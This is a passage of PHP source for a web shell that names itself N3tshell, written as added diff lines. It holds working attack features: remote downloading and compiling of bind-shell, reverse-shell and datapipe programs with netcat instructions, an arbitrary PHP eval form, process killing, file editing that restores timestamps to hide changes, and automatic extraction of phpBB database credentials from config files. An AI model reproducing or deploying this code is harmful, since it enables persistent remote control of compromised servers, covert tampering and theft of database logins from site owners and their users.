explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "N3tsh_bindport.pl"=>array("Using PERL","perl %path %port"), + "N3tsh_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "N3tsh_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "N3tsh_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "N3tsh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "N3tsh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = N3tgetsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = N3tgetsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; + } + } + } + if (!empty($dpsubmit)) + { + echo "<b>Result of datapipe-running:</b><br>"; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = N3tgetsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} + } + echo "<br>"; + } + } + ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php + foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} + ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> +<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> +<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php +foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {N3tshexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by N3tshell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {N3tshexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> 